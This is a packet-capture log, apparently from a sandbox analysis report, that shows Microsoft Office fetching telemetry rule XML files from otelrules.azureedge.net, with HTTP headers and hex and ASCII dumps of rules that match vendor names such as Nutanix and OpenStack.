2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1511aab4-801e-0015-535c-2ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195116Z-157b9fd754fgw9r7hC1SN1124c000000051g000000002u2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49778	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:16 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f5f9e784-f01e-0071-765c-2e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195116Z-157b9fd754fk82tlhC1SN1x7tg00000004x0000000005tdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49779	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:16 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8dd7d181-c01e-0066-495f-2ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195116Z-157b9fd754fk82tlhC1SN1x7tg00000004xg00000000595q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49780	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:16 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d322b4d6-001e-0082-4b4d-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195116Z-158dbd74bf492xzchC1SN15kfc000000049g000000006528 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49781	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:17 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 94271b33-901e-0067-284a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195117Z-158dbd74bf4fwv52hC1SN1tbkg00000004c00000000080rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49782	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:17 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 0b038753-501e-0016-3e53-2e181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195117Z-158dbd74bf4rcgjxhC1SN1a3yn00000004a0000000007vsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49783	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:17 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: c005f6c1-a01e-003d-4d3f-2e98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195117Z-158dbd74bf4tx46ghC1SN1t6pc00000004e00000000039aw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49784	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:17 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 0386ab83-901e-007b-1455-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195117Z-158dbd74bf4fwv52hC1SN1tbkg00000004bg000000007f1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49785	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:17 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 6a120a4b-401e-0078-724b-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195117Z-157b9fd754fhlggqhC1SN1drew00000004zg000000004wsn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49786	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: e6dbc9be-001e-0017-395c-2e0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195118Z-158dbd74bf42s6brhC1SN1tbnn00000004kg000000002hvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3e16ca6e-701e-0098-184d-2e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195118Z-158dbd74bf4tx46ghC1SN1t6pc00000004bg0000000057cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:18 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 4c090a89-b01e-0098-3360-2ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195118Z-157b9fd754fnmqw2hC1SN10ngs000000051g000000000kqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:18 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49789	13.107.253.45	443

